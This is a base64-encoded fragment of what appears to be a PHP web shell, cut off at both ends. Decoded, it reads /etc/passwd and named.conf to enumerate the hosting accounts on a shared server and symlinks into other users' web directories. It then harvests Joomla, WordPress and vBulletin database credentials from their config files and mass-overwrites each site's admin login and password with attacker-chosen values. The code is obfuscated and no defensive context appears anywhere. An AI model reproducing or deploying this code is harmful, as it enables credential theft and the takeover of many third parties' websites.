hvICIiLmh0bWxlbnRpdGllcygkY29udGVudCkuIiI7DQoNCn0NCg0KZWxzZSBpZiAoISRyM2FkKQ0KDQp7DQoNCiRyM2FkID0gQHNob3dfc291cmNlKCRmaWxlKSA7DQoNCn0NCg0KZWxzZSBpZiAoISRyM2FkKQ0KDQp7DQoNCiRyM2FkID0gQGhpZ2hsaWdodF9maWxlKCRmaWxlKTsNCg0KfQ0KDQplbHNlIGlmICghJHIzYWQpDQoNCnsNCg0KJHNtID0gQHN5bWxpbmsoJGZpbGUsJ3N5bS50eHQnKTsNCg0KDQoNCg0KDQppZiAoJHNtKXsNCg0KJHIzYWQgPSBAZm9wZW4oJ3N5bS9zeW0udHh0JywgJ3InKTsNCg0KJGNvbnRlbnQgPSBAZnJlYWQoJHIzYWQsIEBmaWxlc2l6ZSgkZmlsZSkpOw0KDQplY2hvICIiLmh0bWxlbnRpdGllcygkY29udGVudCkuIiI7DQoNCg0KDQp9DQoNCn0NCg0KDQoNCg0KDQoNCg0KZWNobyAiPC90ZXh0YXJlYT48YnIgLz48YnIgLz48aW5wdXQgIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J1NhdmUnLz4gPC9mb3JtPiI7DQoNCg0KDQoNCg0KaWYoaXNzZXQoJF9HRVRbJ3NhdmUnXSkpew0KDQoNCg0KDQoNCiRjb250ID0gc3RyaXBjc2xhc2hlcygkX1BPU1RbJ2ZpbGUnXSk7DQoNCg0KDQokZiA9IGZvcGVuKCduYW1lZC50eHQnLCd3Jyk7DQoNCg0KDQokdyA9IGZ3cml0ZSgkZiwkY29udCk7DQoNCg0KDQogICAgICAgICAgICAgICAgICBpZigkdyl7DQoNCg0KDQogICAgICAgICAgICAgICAgICBlY2hvICc8YnIgLz5zYXZlIGhhcyBiZWVuIHN1Y2Nlc3NmdWxseSc7DQoNCg0KDQogICAgICAgICAgICAgICAgICB9DQoNCg0KDQpmY2xvc2UoJGYpOw0KDQoNCg0KDQoNCg0KDQoNCg0KfQ0KDQoNCg0KDQoNCg0KDQpicmVhazsNCg0KDQoNCi8vIHBhc3N3ZA0KDQoNCg0KY2FzZSAncGFzc3dkJzoNCg0KDQoNCmlmKGlzc2V0KCRfR0VUWydzYXZlJ10pIGFuZCBpc3NldCgkX1BPU1RbJ2ZpbGUnXSkgb3IgQGZpbGVzaXplKCdwYXNzd2QudHh0JykgPiAwKXsNCg0KDQoNCg0KDQokY29udCA9IHN0cmlwY3NsYXNoZXMoJF9QT1NUWydmaWxlJ10pOw0KDQoNCg0KaWYoIWZpbGVfZXhpc3RzKCdwYXNzd2QudHh0Jykpew0KDQoNCg0KJGYgPSBAZm9wZW4oJ3Bhc3N3ZC50eHQnLCd3Jyk7DQoNCg0KDQokdyA9IEBmd3JpdGUoJGYsJGNvbnQpOw0KDQoNCg0KZmNsb3NlKCRmKTsNCg0KfQ0KDQppZigkdyBvciBAZmlsZXNpemUoJ3Bhc3N3ZC50eHQnKSA+IDApew0KDQovLyAqIFNIT1cgKiAvLw0KDQoNCg0KZWNobyAiPGRpdiBjbGFzcz0ndG1wJz48dGFibGUgYWxpZ249J2NlbnRlcicgd2lkdGg9JzM1JSc+PHRkPlVzZXJzPC90ZD48dGQ+c3ltbGluazwvdGQ+PHRkPkZUUDwvdGQ+IjsNCg0KZmx1c2goKTsNCg0KDQoNCiRmaWwzID0gZmlsZSgncGFzc3dkLnR4dCcpOw0KDQoNCg0KZm9yZWFjaCAoJGZpbDMgYXMgJGYpew0KDQoNCg0KICAgICAkdT1leHBsb2RlKCc6JywgJGYpOw0KDQogICAgICR1c2VyID0gJHVbJzAnXTsNCg0KDQoNCg0KDQoNCg0KZWNobyAiDQoNCjx0cj4NCg0KDQoNCg0KDQoNCg0KPHRkIHdpZHRoPScxNSUnPg0KDQokdXNlcg0KDQo8L3RkPg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQo8dGQgd2lkdGg9JzEwJSc+DQoNCjxhIGhyZWY9J3N5bS9yb290L2hvbWUvJHVzZXIvcHVibGljX2h0bWwnIHRhcmdldD0nX2JsYW5rJz5TeW1saW5rIDwvYT4NCg0KPC90ZD4NCg0KDQoNCjx0ZCB3aWR0aD0nMTAlJz4NCg0KPGEgaHJlZj0nJHBhZ2VGVFAvc3ltL3Jvb3QvaG9tZS8kdXNlci9wdWJsaWNfaHRtbCcgdGFyZ2V0PSdfYmxhbmsnPkZUUDwvYT4NCg0KPC90ZD4NCg0KDQoNCg0KDQoNCg0KPC90cj48L2Rpdj4gIjsNCg0KDQoNCg0KDQpmbHVzaCgpOw0KDQpmbHVzaCgpOw0KDQoNCg0KDQoNCn0NCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KZGllICgiPC90cj48L2Rpdj4iKTsNCg0KDQoNCg0KDQogICAgICAgICAgICAgICAgICB9DQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KfQ0KDQoNCg0KDQoNCg0KDQplY2hvICJyZWFkIC9ldGMvcGFzc3dkIjsNCg0KZWNobyAiPGJyIC8+PGJyIC8+PGZvcm0gbWV0aG9kPSdwb3N0JyBhY3Rpb249Jz9zd3M9cGFzc3dkJnNhdmU9MSc+PHRleHRhcmVhIGNvbHM9JzgwJyByb3dzPScyMCcgbmFtZT0nZmlsZSc+IjsNCg0KZmx1c2goKTsNCg0KDQoNCiRmaWxlID0gJy9ldGMvcGFzc3dkJzsNCg0KDQoNCg0KDQokcjNhZCA9IEBmb3BlbigkZmlsZSwgJ3InKTsNCg0KaWYgKCRyM2FkKXsNCg0KJGNvbnRlbnQgPSBAZnJlYWQoJHIzYWQsIEBmaWxlc2l6ZSgkZmlsZSkpOw0KDQplY2hvICIiLmh0bWxlbnRpdGllcygkY29udGVudCkuIiI7DQoNCn0NCg0KZWxzZWlmKCEkcjNhZCkNCg0Kew0KDQokcjNhZCA9IEBzaG93X3NvdXJjZSgkZmlsZSkgOw0KDQp9DQoNCmVsc2VpZighJHIzYWQpDQoNCnsNCg0KJHIzYWQgPSBAaGlnaGxpZ2h0X2ZpbGUoJGZpbGUpOw0KDQp9DQoNCmVsc2VpZighJHIzYWQpDQoNCnsNCg0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yKCR1aWQ9MDskdWlkPDEwMDA7JHVpZCsrKXsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFyYSA9IHBvc2l4X2dldHB3dWlkKCR1aWQpOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJGFyYSkpIHsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAobGlzdCAoJGtleSwgJHZhbCkgPSBlYWNoKCRhcmEpKXsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ICIkdmFsOiI7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ICJuIjsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCg0KDQogfQ0KDQoNCg0KDQoNCmZsdXNoKCk7DQoNCg0KDQoNCg0KZWNobyAiPC90ZXh0YXJlYT48YnIgLz48YnIgLz48aW5wdXQgIHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyZuYnNwOyZuYnNwO3N5bWxpbmsmbmJzcDsmbmJzcDsnLz4gPC9mb3JtPiI7DQoNCmZsdXNoKCk7DQoNCg0KDQpicmVhazsNCg0KDQoNCg0KDQoNCg0KY2FzZSAnam9vbWxhJzoNCg0KDQoNCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8geHh4eHh4eHh4eHh4eHh4eHh4eCAvLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQoNCg0KDQoNCg0KaWYoaXNzZXQoJF9QT1NUWydzJ10pKXsNCg0KDQoNCiRmaWxlID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCdqb29tbGEudHh0Jyk7DQoNCg0KDQokZXggICA9IGV4cGxvZGUoIm4iLCRmaWxlKTsNCg0KDQoNCmVjaG8gIjxkaXYgY2xhc3M9J3RtcCc+PHRhYmxlIGFsaWduPSdjZW50ZXInIHdpZHRoPSc0MCUnPjx0ZD4gZG9taW4gPC90ZD48dGQ+IGNvbmZpZyA8L3RkPjx0ZD4gUmVzdWx0IDwvdGQ+IjsNCg0KZmx1c2goKTsNCg0KDQoNCg0KDQpmb3JlYWNoICgkZXggYXMgJGV4cCl7DQoNCg0KDQokZXMgICA9IGV4cGxvZGUoInx8IiwkZXhwKTsNCg0KDQoNCiRjb25maWcgPSAkZXNbMF07DQoNCg0KDQokZG9taW4gPSAkZXNbMV07DQoNCg0KDQokZG9taW5zID0gdHJpbSgkZG9taW4pLicnOw0KDQoNCg0KJHJlYWRjb25maWcgID0gQGZpbGVfZ2V0X2NvbnRlbnRzKHRyaW0oJGNvbmZpZykpOw0KDQoNCg0KaWYoZXJlZygnSkNvbmZpZycsJHJlYWRjb25maWcpKXsNCg0KDQoNCg0KDQoNCg0KJHBhc3MgICAgPSAgZXgoJHJlYWRjb25maWcsJyRwYXNzd29yZCA9ICcnLCInOyIpOw0KDQoNCg0KJHVzZXJkYiAgPSAgZXgoJHJlYWRjb25maWcsJyR1c2VyID0gJycsIic7Iik7DQoNCg0KDQokZGIgICAgICA9ICBleCgkcmVhZGNvbmZpZywnJGRiID0gJycsIic7Iik7DQoNCg0KDQokZml4ICAgICA9ICBleCgkcmVhZGNvbmZpZywnJGRicHJlZml4ID0gJycsIic7Iik7DQoNCg0KDQokdGFiICAgICA9ICAkZml4Lid1c2Vycyc7DQoNCg0KDQoNCg0KJGNvbiAgICAgPSBAbXlzcWxfY29ubmVjdCgnbG9jYWxob3N0JywkdXNlcmRiLCRwYXNzKTsNCg0KDQoNCiRkYiAgICAgID0gQG15c3FsX3NlbGVjdF9kYigkZGIsJGNvbik7DQoNCg0KDQokcXVlcnkgICA9IEBteXNxbF9xdWVyeSgiVVBEQVRFIGAkdGFiYCAgU0VUIGB1c2VybmFtZWAgPSdzZWMtdy5jb20nIik7DQoNCg0KDQoNCg0KJHF1ZXJ5MyAgPSBAbXlzcWxfcXVlcnkoIlVQREFURSBgJHRhYmAgIFNFVCBgcGFzc3dvcmRgID0nNDRhMGJjZGE2MTE1MTQ2MjViYTk0ZTBiMWMwYmRhZWQ6MmlldHM5eWRqUjNpT2RTdXl2VzU0cEl6eUY5TTFQNUonIik7DQoNCg0KDQoNCg0KaWYgKCRxdWVyeSBhbmQgJHF1ZXJ5MyApeyRyID0gJzxiIHN0eWxlPSJjb2xvcjogIzAwNjYwMCI+U3VjY2VlZCA8L2I+dXNlciBbc2VjLXcuY29tXSBwYXNzIFsxXTwvYj4nO31lbHNleyRyID0gJzxiIHN0eWxlPSJjb2xvcjpyZWQiPmZhaWxlZDwvYj4nO30NCg0KDQoNCiRkb21pbnMgPSB0cmltKCRkb21pbikuJyc7DQoNCg0KDQplY2hvICI8dHI+DQoNCjx0ZD48YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0naHR0cDovLyRkb21pbnMnPiRkb21pbjwvYT48L3RkPg0KDQo8dGQ+PGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9JyRjb25maWcnPmNvbmZpZzwvYT48L3RkPjx0ZD4iLiRyLiI8L3RkPjwvdHI+IjsNCg0KZmx1c2goKTsNCg0KDQoNCg0KDQoNCg0KfWVsc2V7DQoNCg0KDQplY2hvICI8dHI+DQoNCjx0ZD48YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0naHR0cDovLyRkb21pbnMnPiRkb21pbjwvYT48L3RkPg0KDQo8dGQ+PGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2h0dHA6Ly8kZXhwJz5jb25maWc8L2E+PC90ZD48dGQ+PGIgc3R5bGU9J2NvbG9yOnJlZCc+ZmFpbGVkPC9iPjwvdGQ+PC90cj4iOw0KDQpmbHVzaCgpOw0KDQoNCg0KfQ0KDQoNCg0KfQ0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQpkaWUoKTsNCg0KDQoNCn0NCg0KDQoNCmlmKCFpc19maWxlKCduYW1lZC50eHQnKSl7DQoNCg0KDQokZDAwbSA9IEBmaWxlKCIvZXRjL25hbWVkLmNvbmYiKTsNCg0KDQoNCmZsdXNoKCk7DQoNCg0KDQoNCg0KfWVsc2V7DQoNCg0KDQokZDAwbSA9IGZpbGUoIm5hbWVkLnR4dCIpOw0KDQoNCg0KDQoNCn0NCg0KaWYoISRkMDBtKQ0KDQp7DQoNCg0KDQogICAgICAgICAgICAgICAgZGllICgiPG1ldGEgaHR0cC1lcXVpdj0ncmVmcmVzaCcgY29udGVudD0nMDsgdXJsPT9zd3M9cmVhZCcvPiIpOw0KDQp9DQoNCmVsc2UNCg0KDQoNCnsNCg0KZWNobyAiPGRpdiBjbGFzcz0ndG1wJz4NCg0KPGZvcm0gbWV0aG9kPSdQT1NUJyBhY3Rpb249JyRwZz9zd3M9am9vbWxhJz4NCg0KPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J01hc3MgY2hpbmcgQWRtaW4nIC8+DQoNCjxpbnB1dCB0eXBlPSdoaWRkZW4nIHZhbHVlPScxJyBuYW1lPSdzJyAvPg0KDQo8L2Zvcm0+PGJyIC8+PGJyIC8+DQoNCjx0YWJsZSBhbGlnbj0nY2VudGVyJyB3aWR0aD0nNDAlJz48dGQ+IERvbWFpbnMgPC90ZD48dGQ+IGNvbmZpZyA8L3RkPjx0ZD4gUmVzdWx0IDwvdGQ+IjsNCg0KDQoNCiRmID0gZm9wZW4oJ2pvb21sYS50eHQnLCd3Jyk7DQoNCg0KDQpmb3JlYWNoKCRkMDBtIGFzICRkb20pew0KDQoNCg0KaWYoZXJlZ2koInpvbmUiLCRkb20pKXsNCg0KDQoNCnByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywgJGRvbSwgJGRvbXN3cyk7DQoNCg0KDQppZihzdHJsZW4odHJpbSgkZG9tc3dzWzFdWzBdKSkgPiAyKXsNCg0KDQoNCiR1c2VyID0gcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigiL2V0Yy92YWxpYXNlcy8iLiRkb21zd3NbMV1bMF0pKTsNCg0KDQoNCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQoNCg0KDQokd3BsPSRwYWdlVVJMLiIvc3ltL3Jvb3QvaG9tZS8iLiR1c2VyWyduYW1lJ10uIi9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCI7DQoNCiR3cHA9Z2V0X2hlYWRlcnMoJHdwbCk7DQoNCiR3cD0kd3BwWzBdOw0KDQoNCg0KJHdwMj0kcGFnZVVSTC4iL3N5bS9yb290L2hvbWUvIi4kdXNlclsnbmFtZSddLiIvcHVibGljX2h0bWwvYmxvZy9jb25maWd1cmF0aW9uLnBocCI7DQoNCiR3cHAyPWdldF9oZWFkZXJzKCR3cDIpOw0KDQokd3AxMj0kd3BwMlswXTsNCg0KDQoNCiR3cDM9JHBhZ2VVUkwuIi9zeW0vcm9vdC9ob21lLyIuJHVzZXJbJ25hbWUnXS4iL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCI7DQoNCiR3cHAzPWdldF9oZWFkZXJzKCR3cDMpOw0KDQokd3AxMz0kd3BwM1swXTsNCg0KDQoNCg0KDQogLy8vLy8vLy8vLyBqb29tbGEgLy8vLy8vLy8vLy8vDQoNCg0KDQokcG9zID0gc3RycG9zKCR3cCwgIjIwMCIpOw0KDQokY29uZmlnPSImbmJzcDsiOw0KDQoNCg0KaWYgKHN0cnBvcygkd3AsICIyMDAiKSA9PSB0cnVlICkNCg0Kew0KDQogJGNvbmZpZz0gJHdwbDsNCg0KfQ0KDQplbHNlaWYgKHN0cnBvcygkd3AxMiwgIjIwMCIpID09IHRydWUpDQoNCnsNCg0KICAkY29uZmlnPSAkd3AyOw0KDQp9DQoNCmVsc2VpZiAoc3RycG9zKCR3cDEzLCAiMjAwIikgPT0gdHJ1ZSkNCg0Kew0KDQogICRjb25maWc9ICR3cDM7DQoNCn0NCg0KZWxzZQ0KDQp7DQoNCmNvbnRpbnVlOw0KDQoNCg0KfQ0KDQpmbHVzaCgpOw0KDQoNCg0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KDQoNCg0KJGRvbSA9ICRkb21zd3NbMV1bMF07DQoNCg0KDQokdyA9IGZ3cml0ZSgkZiwiJGNvbmZpZ3x8JGRvbSBuIik7DQoNCmlmKCR3KXskciA9ICc8YiBzdHlsZT0iY29sb3I6ICMwMDY2MDAiPlNhdmU8L2I+Jzt9ZWxzZXskciA9ICc8YiBzdHlsZT0iY29sb3I6cmVkIj5mYWlsZWQ8L2I+Jzt9DQoNCg0KDQoNCg0KZWNobyAiPHRyPjx0ZD48YSBocmVmPWh0dHA6Ly93d3cuIi4kZG9tc3dzWzFdWzBdLiI+Ii4kZG9tc3dzWzFdWzBdLiI8L2E+PC90ZD4NCg0KPHRkPjxhIGhyZWY9JyRjb25maWcnPmNvbmZpZzwvYT48L3RkPjx0ZD4iLiRyLiI8L3RkPjwvdHI+IjsNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQpmbHVzaCgpOw0KDQoNCg0KDQoNCn0NCg0KfQ0KDQp9DQoNCn0NCg0KDQoNCg0KDQpicmVhazsNCg0KDQoNCmNhc2UgJ3dwJzoNCg0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgaW5kZXggIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIzMNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KIyMjIyMjIyMgIGFkbWluICMjIyMjIyMjIyMzMw0KDQoNCg0KaWYoaXNzZXQoJF9QT1NUWydzJ10pKXsNCg0KDQoNCiRmaWxlID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCd3cC50eHQnKTsNCg0KDQoNCiRleCAgID0gZXhwbG9kZSgibiIsJGZpbGUpOw0KDQoNCg0KZWNobyAiPGRpdiBjbGFzcz0ndG1wJz48dGFibGUgYWxpZ249J2NlbnRlcicgd2lkdGg9JzQwJSc+PHRkPiBkb21pbiA8L3RkPjx0ZD4gY29uZmlnIDwvdGQ+PHRkPiBSZXN1bHQgPC90ZD4iOw0KDQpmbHVzaCgpOw0KDQpmbHVzaCgpOw0KDQoNCg0KDQoNCmZvcmVhY2ggKCRleCBhcyAkZXhwKXsNCg0KDQoNCiRlcyAgID0gZXhwbG9kZSgifHwiLCRleHApOw0KDQoNCg0KJGNvbmZpZyA9ICRlc1swXTsNCg0KDQoNCiRkb21pbiA9ICRlc1sxXTsNCg0KDQoNCiRkb21pbnMgPSB0cmltKCRkb21pbikuJyc7DQoNCg0KDQokcmVhZGNvbmZpZyAgPSBAZmlsZV9nZXRfY29udGVudHModHJpbSgkY29uZmlnKSk7DQoNCg0KDQppZihlcmVnKCd3cC1zZXR0aW5ncy5waHAnLCRyZWFkY29uZmlnKSl7DQoNCg0KDQoNCg0KDQoNCiRwYXNzICAgID0gIGV4KCRyZWFkY29uZmlnLCJkZWZpbmUoJ0RCX1BBU1NXT1JEJywgJyIsIicpOyIpOw0KDQoNCg0KJHVzZXJkYiAgPSAgZXgoJHJlYWRjb25maWcsImRlZmluZSgnREJfVVNFUicsICciLCInKTsiKTsNCg0KDQoNCiRkYiAgICAgID0gIGV4KCRyZWFkY29uZmlnLCJkZWZpbmUoJ0RCX05BTUUnLCAnIiwiJyk7Iik7DQoNCg0KDQokZml4ICAgICA9ICBleCgkcmVhZGNvbmZpZywnJHRhYmxlX3ByZWZpeCAgPSAnJywiJzsiKTsNCg0KDQoNCiR0YWIgICAgID0gJGZpeC4ndXNlcnMnOw0KDQoNCg0KJGNvbiAgICAgPSBAbXlzcWxfY29ubmVjdCgnbG9jYWxob3N0JywkdXNlcmRiLCRwYXNzKTsNCg0KDQoNCiRkYiAgICAgID0gQG15c3FsX3NlbGVjdF9kYigkZGIsJGNvbik7DQoNCg0KDQokcXVlcnkgICA9IEBteXNxbF9xdWVyeSgiVVBEQVRFIGAkdGFiYCBTRVQgYHVzZXJfbG9naW5gID0nc2VjLXcuY29tJyIpIG9yIGRpZTsNCg0KDQoNCiRxdWVyeSAgID0gQG15c3FsX3F1ZXJ5KCJVUERBVEUgYCR0YWJgIFNFVCBgdXNlcl9wYXNzYCA9JyQxJDR6Ly41aS4uJDlhSFlCLmZVSEVtTlouZUlLWVR3eC8nIikgb3IgZGllOw0KDQoNCg0KDQoNCg0KDQppZiAoJHF1ZXJ5KXskciA9ICc8YiBzdHlsZT0iY29sb3I6ICMwMDY2MDAiPlN1Y2NlZWQgPC9iPnVzZXIgW3NlYy13LmNvbV0gcGFzcyBbMV08L2I+Jzt9DQoNCg0KDQplbHNlDQoNCg0KDQp7DQoNCg0KDQokciA9ICc8YiBzdHlsZT0iY29sb3I6cmVkIj5mYWlsZWQ8L2I+JzsNCg0KDQoNCn0NCg0KDQoNCiRkb21pbnMgPSB0cmltKCRkb21pbikuJyc7DQoNCg0KDQplY2hvICI8dHI+DQoNCjx0ZD48YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0naHR0cDovLyRkb21pbnMnPiRkb21pbjwvYT48L3RkPg0KDQo8dGQ+PGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9JyRjb25maWcnPmNvbmZpZzwvYT48L3RkPjx0ZD4iLiRyLiI8L3RkPjwvdHI+IjsNCg0KDQoNCmZsdXNoKCk7DQoNCmZsdXNoKCk7DQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCn1lbHNlew0KDQoNCg0KZWNobyAiPHRyPg0KDQo8dGQ+PGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2h0dHA6Ly8kZG9taW5zJz4kZG9taW48L2E+PC90ZD4NCg0KPHRkPjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSdodHRwOi8vJGNvbmZpZyc+Y29uZmlnPC9hPjwvdGQ+PHRkPjxiIHN0eWxlPSdjb2xvcjpyZWQnPmZhaWxlZDI8L2I+PC90ZD48L3RyPiI7DQoNCg0KDQpmbHVzaCgpOw0KDQpmbHVzaCgpOw0KDQoNCg0KfQ0KDQoNCg0KfQ0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KZGllKCk7DQoNCg0KDQp9DQoNCg0KDQppZighaXNfZmlsZSgnbmFtZWQudHh0Jykpew0KDQoNCg0KJGQwMG0gPSBAZmlsZSgiL2V0Yy9uYW1lZC5jb25mIik7DQoNCg0KDQp9ZWxzZXsNCg0KDQoNCiRkMDBtID0gQGZpbGUoIm5hbWVkLnR4dCIpOw0KDQoNCg0KDQoNCn0NCg0KaWYoISRkMDBtKQ0KDQp7DQoNCg0KDQogICAgICAgICAgICAgICAgZGllICgiPG1ldGEgaHR0cC1lcXVpdj0ncmVmcmVzaCcgY29udGVudD0nMDsgdXJsPT9zd3M9cmVhZCcvPiIpOw0KDQp9DQoNCmVsc2UNCg0KDQoNCnsNCg0KZWNobyAiPGRpdiBjbGFzcz0ndG1wJz4NCg0KPGZvcm0gbWV0aG9kPSdQT1NUJyBhY3Rpb249JyRwZz9zd3M9d3AnPg0KDQo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nTWFzcyBDaGFuZ2UgQWRtaW4nIC8+DQoNCjxpbnB1dCB0eXBlPSdoaWRkZW4nIHZhbHVlPScxJyBuYW1lPSdzJyAvPg0KDQo8L2Zvcm0+DQoNCjxiciAvPjxiciAvPg0KDQo8dGFibGUgYWxpZ249J2NlbnRlcicgd2lkdGg9JzQwJSc+PHRkPiBEb21haW5zIDwvdGQ+PHRkPiBjb25maWcgPC90ZD48dGQ+IFJlc3VsdCA8L3RkPiI7DQoNCg0KDQpmbHVzaCgpOw0KDQpmbHVzaCgpOw0KDQoNCg0KJGYgPSBmb3Blbignd3AudHh0JywndycpOw0KDQoNCg0KZm9yZWFjaCgkZDAwbSBhcyAkZG9tKXsNCg0KDQoNCmlmKGVyZWdpKCJ6b25lIiwkZG9tKSl7DQoNCg0KDQpwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkb20sICRkb21zd3MpOw0KDQoNCg0KaWYoc3RybGVuKHRyaW0oJGRvbXN3c1sxXVswXSkpID4gMil7DQoNCg0KDQokdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tc3dzWzFdWzBdKSk7DQoNCg0KDQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KDQoNCg0KJHdwbD0kcGFnZVVSTC4iL3N5bS9yb290L2hvbWUvIi4kdXNlclsnbmFtZSddLiIvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCI7DQoNCiR3cHA9Z2V0X2hlYWRlcnMoJHdwbCk7DQoNCiR3cD0kd3BwWzBdOw0KDQoNCg0KJHdwMj0kcGFnZVVSTC4iL3N5bS9yb290L2hvbWUvIi4kdXNlclsnbmFtZSddLiIvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwIjsNCg0KJHdwcDI9Z2V0X2hlYWRlcnMoJHdwMik7DQoNCiR3cDEyPSR3cHAyWzBdOw0KDQoNCg0KJHdwMz0kcGFnZVVSTC4iL3N5bS9yb290L2hvbWUvIi4kdXNlclsnbmFtZSddLiIvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnIjsNCg0KJHdwcDM9Z2V0X2hlYWRlcnMoJHdwMyk7DQoNCiR3cDEzPSR3cHAzWzBdOw0KDQoNCg0KDQoNCiAvLy8vLy8vLy8vIHdwIC8vLy8vLy8vLy8vLw0KDQoNCg0KJHBvcyA9IHN0cnBvcygkd3AsICIyMDAiKTsNCg0KJGNvbmZpZz0iJm5ic3A7IjsNCg0KDQoNCmlmIChzdHJwb3MoJHdwLCAiMjAwIikgPT0gdHJ1ZSApDQoNCnsNCg0KICRjb25maWc9ICR3cGw7DQoNCn0NCg0KZWxzZWlmIChzdHJwb3MoJHdwMTIsICIyMDAiKSA9PSB0cnVlKQ0KDQp7DQoNCiAgJGNvbmZpZz0gJHdwMjsNCg0KfQ0KDQplbHNlaWYgKHN0cnBvcygkd3AxMywgIjIwMCIpID09IHRydWUpDQoNCnsNCg0KICAkY29uZmlnPSAkd3AzOw0KDQp9DQoNCmVsc2UNCg0Kew0KDQpjb250aW51ZTsNCg0KDQoNCn0NCg0KZmx1c2goKTsNCg0KDQoNCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCg0KDQoNCiRkb20gPSAkZG9tc3dzWzFdWzBdOw0KDQoNCg0KJHcgPSBmd3JpdGUoJGYsIiRjb25maWd8fCRkb20gbiIpOw0KDQppZigkdyl7JHIgPSAnPGIgc3R5bGU9ImNvbG9yOiAjMDA2NjAwIj5TYXZlPC9iPic7fWVsc2V7JHIgPSAnPGIgc3R5bGU9ImNvbG9yOnJlZCI+ZmFpbGVkPC9iPic7fQ0KDQoNCg0KDQoNCmVjaG8gIjx0cj48dGQ+PGEgaHJlZj1odHRwOi8vd3d3LiIuJGRvbXN3c1sxXVswXS4iPiIuJGRvbXN3c1sxXVswXS4iPC9hPjwvdGQ+DQoNCjx0ZD48YSBocmVmPSckY29uZmlnJz5jb25maWc8L2E+PC90ZD48dGQ+Ii4kci4iPC90ZD48L3RyPiI7DQoNCmZsdXNoKCk7DQoNCmZsdXNoKCk7DQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KZmx1c2goKTsNCg0KDQoNCg0KDQp9DQoNCn0NCg0KfQ0KDQp9DQoNCg0KDQoNCg0KYnJlYWs7DQoNCg0KDQoNCg0KY2FzZSAndmInOg0KDQoNCg0KDQoNCmlmKGlzc2V0KCRfUE9TVFsncyddKSl7DQoNCg0KDQoNCg0KDQoNCiRmaWxlID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCd2Yi50eHQnKTsNCg0KDQoNCiRleCAgID0gZXhwbG9kZSgibiIsJGZpbGUpOw0KDQoNCg0KZWNobyAiPGRpdiBjbGFzcz0ndG1wJz48dGFibGUgYWxpZ249J2NlbnRlcicgd2lkdGg9JzQwJSc+PHRkPiBkb21pbiA8L3RkPjx0ZD4gY29uZmlnIDwvdGQ+PHRkPiBSZXN1bHQgPC90ZD4iOw0KDQoNCg0KD